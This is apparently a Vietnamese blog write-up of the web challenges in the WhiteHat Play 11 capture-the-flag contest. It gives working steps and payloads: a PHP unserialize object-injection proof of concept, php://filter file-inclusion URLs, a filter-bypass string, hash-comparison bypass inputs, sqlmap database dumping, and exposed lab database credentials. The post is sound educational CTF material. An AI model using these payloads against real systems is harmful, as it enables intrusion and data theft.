Home WhiteHat Play 11 Writeup
Post
Cancel

WhiteHat Play 11 Writeup

WhiteHat Play 11 Writeup


White Hat 11

WhiteHat 11 đã kết thúc được vài tuần (mình không nhớ nữa, quá già để nhớ rồi :^) ). Và đây là phần writeup về tất cả các web challenge. Xin lỗi vì nó không theo thứ tự ( Mình viết blog dựa trên bản mình đã note lại trong lúc làm )

Web07

View source của web07, chúng ta sẽ thấy tác giả đã để lại hint <!-- debug: GET is_debug=1 --> để anh em có thể đọc code php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<head>
    <title>
        Hello 500 AEm-xiao
    </title>
</head>

<body>
    <center>
        <h1 style="color:green;">xiao hello anh emmmmm</h1>


        <h3>Join the race!!!!</h3>
    </center>
    <div>
<form>
        Your Username:
	<input name="uname" type="text" alt="uname" align="right">
	Message:
        <!--Here type="text" align will not work-->
        <input name="mess" type="text" alt="mess" align="right">
<input type=submit >
    </div>
</form>
</body>
</html>
<!-- debug: GET is_debug=1 -->
<head>
    <title>
        Hello 500 AEm-xiao
    </title>
</head>

<body>
    <center>
        <h1 style="color:green;">xiao hello anh emmmmm</h1>


        <h3>Join the race!!!!</h3>
<?php if(isset($_GET['uname']) && isset($_GET['mess'])){
	$user = new User($_GET['uname'],$_GET['mess']);
	$user->say();
}?>
    </center>
    <div>
<form>
        Your Username:
	<input name="uname" type="text" alt="uname" align="right">
	Message:
        <!--Here type="text" align will not work-->
        <input name="mess" type="text" alt="mess" align="right">
<input type=submit >
    </div>
</form>
</body>
</html>
<!-- debug: GET is_debug=1 -->
<?php
if(isset($_GET['is_debug']) && $_GET['is_debug']==='1')
{
  echo file_get_contents(__file__);
}
?>
</body>
<?php
class getFileSystem{
	public function __wakeup(){
		include('flag.php');
		echo $flag;
	}
}
class User{
	public function __construct($u,$m){
	$this->username = $u;
	$this->message = $m;
	}
	public function say(){
		echo "<h3 style=color:red>".$this->username." say: ".$this->message."</h3>";
	}
	public function __destruct(){
		if ($this->message=="DucBTTBcuD"){
			unserialize(base64_decode($this->username));
		}
	}
}
?>
</body>

Trong phần code PHP, chúng ta thấy magic function __wakeup() (Hàm được gọi khi unserialize một chuỗi thành đối tượng) sẽ include file flag.php và in ra flag

Ở dưới là hàm check xem message có giá trị là DucBTTBcuD không, nếu có sẽ thực hiện base64 decode và unserialize chuỗi vừa base64 decode

Từ đây não mình đã load được vector tấn công: chúng ta sẽ serialize 1 biến thuộc class getFileSystem và base64 encode chuỗi vừa serialize, sau đó bỏ chuỗi đó vào làm tên user + thêm nội dung tin nhắn DucBTTBcuD . Dưới đây là POC:

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class getFileSystem{
	public function __wakeup(){
		include('flag.php');
		echo $flag;
	}
}
class User{
	public function __construct($u,$m){
	$this->username = $u;
	$this->message = $m;
	}
	public function say(){
		echo "<h3 style=color:red>".$this->username." say: ".$this->message."</h3>";
	}
	public function __destruct(){
		if ($this->message=="DucBTTBcuD"){
			unserialize(base64_decode($this->username));
		}
	}
}

$a = new User("hehe","DucBTTBcuD");
$b = new getFileSystem();
echo(base64_encode(serialize($b)));
?>

Web01

Bài này là bài web đầu tiên mình gõ, nhưng lúc đấy bị lỗi triển khai nên mình thó cờ khá dễ =)) Anw, đây là cách mình gõ Web01.

Đầu tiên theo phản xạ khi tiếp cận 1 trang web, mình sử dụng dirsearch và quan sát thấy 1 đường dẫn trả về 200, đó là docker-compose.yml

Truy cập <địa chỉ ip>/docker-compose.yml, mình được nội dung file như bên dưới

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
version: '3.7'

services:
  php-env:
    build: .
    ports:
      - '9020:80'
    volumes:
      - .:/var/www/html
  db:
    image: mysql
    command: --default-authentication-plugin=mysql_native_password
    restart: always
    volumes:
      - ./ctf.sql:/docker-entrypoint-initdb.d/ctf.sql
    environment:
      MYSQL_ROOT_PASSWORD: Nhat1998@
      MYSQL_DATABASE: ctf
      MYSQL_USER: nhat1
      MYSQL_PASSWORD: ywcQo7H]TsgLj35j@

Mình để ý đến ./ctf.sql , nghĩa là file ctf.sql đang ở thư mục gốc của trang web, thử <địa chỉ ip>/ctf.sql,file ctf.sql đã được tải về thành công =)))

Untitled

Mở file ctf.sql ra, chúng ta có flag =))

Untitled

Tóm tắt lại thì bài này

Untitled


Web05

Truy cập link của web05 do ban tổ chức cung cấp, chúng ta có giao diện trang web:

Untitled

Khi đăng nhập sai, người dùng sẽ được redirect đến trang source code PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
    session_start();
    $_SESSION['login'] = False;

    //checklogin
    if (isset($_POST['username']) && $_POST['phone']){
        if($_POST['username']=="DucBT" && $_POST['phone'] == "09xxxxxxx5"){//10^10 bruteforce?
            $_SESSION['login'] = True;
        }
    }

    //get flag
    if ($_SESSION['login'] == True){
           include_once 'get_flag.php';
           session_destroy();
    }

    echo show_source("check.php", true);
?>

Bài này khá là hài, vì lúc đầu mình đã bị lú và nghĩ theo hướng type juggling (loose comparison)

Não delay 1 lúc mới đọc kĩ code và giải được : ( Đoạn code PHP sẽ so sánh giá trị username do người dùng nhập vào với chuỗi DucBT , tương tự, đoạn code sẽ đồng thời so sánh giá trị password do người dùng nhập vào với chuỗi 09xxxxxxx5 , nếu cả 2 so sánh thỏa mãn sẽ trả về flag. Việc của chúng ta là chỉ cần nhập vào 2 giá trị DucBT09xxxxxxx5 (Lú như T nú)

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Flag: WhiteHat{Pe0ple_m4ke_it_complicated} <?php
    session_start();
    $_SESSION['login'] = False;

    //checklogin
    if (isset($_POST['username']) && $_POST['phone']){
        if($_POST['username']=="DucBT" && $_POST['phone'] == "09xxxxxxx5"){//10^10 bruteforce?
            $_SESSION['login'] = True;
        }
    }

    //get flag
    if ($_SESSION['login'] == True){
           include_once 'get_flag.php';
           session_destroy();
    }

    echo show_source("check.php", true);
?>

Web03

Web03 chỉ là bài warmup =)) Tất cả việc cần làm là view source và copy flag 🦝

Untitled

1
WhiteHat{N0nG_NhU_th3_n4y_th1_l4M_s40_Ph41_M4c}

Web08

Giao diện của web08

Untitled

Web08 có source code PHP như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
  error_reporting(0);
  if (isset($_GET['input'])) {
    $input = $_GET['input'];
    $to_replace = 'DucBTTPA';
    $clean_string = preg_replace("/$to_replace/", '', $input);
    echo "<p>Your string is: $clean_string</p>";
    if ($clean_string === $to_replace) {
      if(isset($_GET['input2']) && isset($_GET['input3'])){
        $input2 =$_GET['input2'];
        $input3 =$_GET['input3'];
        if($input2!==$input3 && hash("sha256",$input2)==hash("sha256",$input3)){
          echo "<h2 class=\"answer\"><span style=\"color: green;\">Yesssss</span></h2>";
          echo $flag;
        }
      }
    } else {
      echo "<h2 class=\"answer\"><span style=\"color: red;\">Nooooo </span></h2>";
    }
  }
  ?>

Đoạn code sẽ thực hiện thay loại bỏ chuỗi DucBTTPA trong chuỗi đầu vào của người dùng và tiếp tục so sánh đầu vào của người dùng với chuỗi cần loại bỏ DucBTTPA ( Nghe trái khoáy vl (●’◡’●) ). Nếu chuỗi bị loại bỏ vẫn còn tồn tại thì sẽ tiếp tục đi vào 1 đoạn if nữa mà mình sẽ giải thích ở dưới. Bây giờ tập trung vào pass được điều kiện của câu if đầu tiên 🦝 Đơn giản để thấy đoạn code thực hiện loại bỏ chuỗi DucBTTPA chỉ thực hiện loại bỏ 1 lần chuỗi cần loại bỏ, cho nên bypass rất dễ bằng cách nhập vào chuỗi DucBTDucBTTPATPA , vì chỉ loại bỏ 1 lần nên chuỗi sau khi loại bỏ sẽ vẫn là chuỗi DucBTTPA

Hoặc có thể nhập chuỗi như hình dưới, kết quả tương tự

Untitled

Untitled

Tiếp theo, đoạn code sẽ thực hiện check input2 và input3 là giá trị đầu vào do người dùng cung cấp, nếu giá băm bằng thuật toán SHA-256 của 2 chuỗi giống nhau thì sẽ trả về flag

Untitled

Mình sử dụng magic hashes ( Đại loại là những chuỗi khác nhau nhưng sẽ cùng cho ra 1 giá trị băm (Keyword hash collisioncho bạn nào muốn research thêm :3 ) List các magic hashes mình để ở đây: hashes/sha256.md at master · spaze/hashes (github.com)

Sau khi cung cấp đầu vào input1, input2 là các chuỗi magic hash, chúng ta sẽ có flag ╰(°▽°)╯

1
http://192.81.209.60:8844/?input=DuDucBTTPAcBTTPA&input2=34250003024812&input3=TyNOQHUS

Untitled

Web04

Giao diện của Web04, chức năng đơn giản trên trang web là bạn nhấn vào 1 trong 5 địa chỉ, trang web sẽ render ra 1 tấm ảnh về địa chỉ đấy

Untitled

Để ý URL của trang web có dạng http://<địa chỉ ip>/index.php?gif=<Tên địa chỉ> mình đã nghỉ đến Path Traversal, nhưng thử 1 hồi không ra và 1 người anh đáng mến đã gợi ý cho mình về 1 kỹ thuật mà mình lãng quên PHP Wrapper.Sử dụng php://filter/convert.base64-encode/resource=index để lấy source code của trang index.php dưới dạng base64

1
http://164.92.81.231:8004/index.php?gif=php://filter/convert.base64-encode/resource=index

Trang web trả về chuỗi base64

1
PGh0bWw+DQo8dGl0bGU+U2VsZWN0IFRyaXA8L3RpdGxlPg0KPGJvZHk+DQoNCgkNCjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iZHVjYnQuY3NzIj4NCjxoMSBzdHlsZT0iZm9udC1mYW1pbHk6IGN1cnNpdmU7Ij5TZWxlY3QgbTMuLjwvaDE+DQo8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSdnZXQnIG5hbWU9IiIgID4NCgk8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgIDxkaXYgY2xhc3M9InJvdyBzaGFyZS1idXR0b25zIj4NCiAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTggY29sLW1kLW9mZnNldC0yIj4NCiAgICAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbjogYXV0bzsiPg0KICAgICAgICAgCSAgIDx1bCA+DQogICAgICAgICAgICAgICAgPGxpID4NCiAgICAgICAgICAgICAgICAgICAgPGgxPjB4Nzg8L2gxPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24iIHR5cGU9InN1Ym1pdCIgbmFtZT0nZ2lmJyB2YWx1ZT0nY290byc+DQogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmEgZmEtZ2l0aHViIj48L2k+DQogICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICBDw7QgVMO0DQogICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgICAgICA8aDE+MHgxMTE8L2gxPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJibHVlIGJ1dHRvbiIgdHlwZT0ic3VibWl0IiBuYW1lPSdnaWYnIHZhbHVlPSdjb25kYW8nPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhIGZhLXR3aXR0ZXIiPjwvaT4NCiAgICAgICANCiAgICAgICAgICAgICAgICAgICAgIEPDtG4gxJDhuqNvDQogICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgICAgICA8aDE+MHgxMTE8L2gxPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gcGluayIgdHlwZT0ic3VibWl0IiBuYW1lPSdnaWYnIHZhbHVlPSdreWNvJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYSBmYS1waW50ZXJlc3QiPjwvaT4NCiAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICBL4buzIENvDQogICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgICAgICA8aDE+MHg5ODwvaDE+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ1dHRvbiBncmVlbiIgdHlwZT0ic3VibWl0IiBuYW1lPSdnaWYnIHZhbHVlPSdob2NvYyc+DQogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmEgZmEtdmluZSI+PC9pPg0KICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBOaGEgVHJhbmcNCiAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgIDxoMT4weDMzPC9oMT4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnV0dG9uIHJlZCIgdHlwZT0ic3VibWl0IiBuYW1lPSdnaWYnIHZhbHVlPSdwaHVxdW9jJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYSBmYS1nb29nbGUtcGx1cyI+PC9pPg0KICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgIFBow7ogUXXhu5FjDQogICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICA8L3VsPg0KICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KPC9kaXY+DQo8L2Zvcm0+DQo8L2JvZHk+DQoNCjwvaHRtbD4NCjw/cGhwDQoJZXJyb3JfcmVwb3J0aW5nKDApOw0KCWluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQoJJGNob249Jyc7DQoJaWYoaXNzZXQoJF9HRVRbJ2dpZiddKSl7DQoNCgkJJGNob24gPSAkX0dFVFsnZ2lmJ107DQoJfQ0KCWlmKCRjaG9uID09ICJwbGF5MTFmaXgiKXsNCgkJZWNobyBmaWxlX2dldF9jb250ZW50cygieG54eC50eHQiKTsNCgl9DQoJZWxzZQ0KCXsNCgkJaW5jbHVkZSgkY2hvbi4iLnBocCIpOw0KCX0JDQo/Pg0K

Sử dụng Cyberchef để decode, chúng ta được source của trang web

Untitled

Full source cho bạn nào muốn dựng lab lại ☆: .。. o(≧▽≦)o .。.:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<html>
<title>Select Trip</title>
<body>


<link rel="stylesheet" href="ducbt.css">
<h1 style="font-family: cursive;">Select m3..</h1>
<form action="index.php" method='get' name=""  >
	<div class="container">
    <div class="row share-buttons">
        <div class="col-md-8 col-md-offset-2">
         <div style="margin: auto;">
         	   <ul >
                <li >
                    <h1>0x78</h1>
                    <button class="button" type="submit" name='gif' value='coto'>
                        <i class="fa fa-github"></i>

                    Cô Tô
                    </button>
                </li>
                <li>
                    <h1>0x111</h1>
                    <button class="blue button" type="submit" name='gif' value='condao'>
                        <i class="fa fa-twitter"></i>

                     Côn Đảo
                    </button>
                </li>
                <li>
                    <h1>0x111</h1>
                    <button class="button pink" type="submit" name='gif' value='kyco'>
                        <i class="fa fa-pinterest"></i>

                       Kỳ Co
                    </button>
                </li>
                <li>
                    <h1>0x98</h1>
                    <button class="button green" type="submit" name='gif' value='hococ'>
                        <i class="fa fa-vine"></i>

                        Nha Trang
                    </button>
                </li>
                <li>
                    <h1>0x33</h1>
                    <button class="button red" type="submit" name='gif' value='phuquoc'>
                        <i class="fa fa-google-plus"></i>

                       Phú Quốc
                    </button>
                </li>
            </ul>
         </div>
        </div>
    </div>
</div>
</form>
</body>

</html>
<?php
	error_reporting(0);
	ini_set('display_errors', 0);
	$chon='';
	if(isset($_GET['gif'])){

		$chon = $_GET['gif'];
	}
	if($chon == "play11fix"){
		echo file_get_contents("xnxx.txt");
	}
	else
	{
		include($chon.".php");
	}
?>

Source code PHP có đoạn code check, nếu giá trị đầu vào do người dùng nhập là play11fix thì sẽ lấy ra nội dung file ích nờ xx chấm txt .Sau khi nhập vào chúng ta sẽ được flag 🦝

Untitled

WhiteHat{B3@ut1ful_B3@ch_D3st1n@t10ns_1n_V13tn@m}


Web06

Web06 mình không note hay screenshot nhiều tại vì mình làm với tâm trạng cay cú =))) (vì thế đã đấm nó bằng sqlmap, xin lỗi nếu làm ảnh hưởng đến trải nghiệm duyệt web và chơi ctf của các bạn :^ )

Ok, test với sqlmap mình lấy được tên database public, bảng pokemon và biết được có tổng cộng 899 bản ghi trong bảng pokemon .

Untitled

Nhưng trên web chỉ hiển thị 898 pokemon, thể nên mình sử dụng sqlmap để dump ra con pokemon có id=899

Untitled

Và đây là con hàng thứ 899, flag của bài này, cũng là bài duy nhất trong web challenge mà mình chưa thó được flag

Untitled


Bonus thêm 1 bài misc mà mình không nghĩ sẽ giải ra bằng cách này, lại 1 lần nữa, anh Bảnh thốt lên

Untitled

Untitled


Cảm ơn WhiteHat đã tổ chức giải CTF lần này, cũng vừa đúng dịp để mình kiểm tra xem bản thân đã học và làm được những gì ╰(°▽°)╯. Shout out to những người anh em xương máu ╰(°▽°)╯

This post is licensed under CC BY 4.0 by the author.

PHP Object Injection BlueCyber

Are you the admin? TFCCTF 2022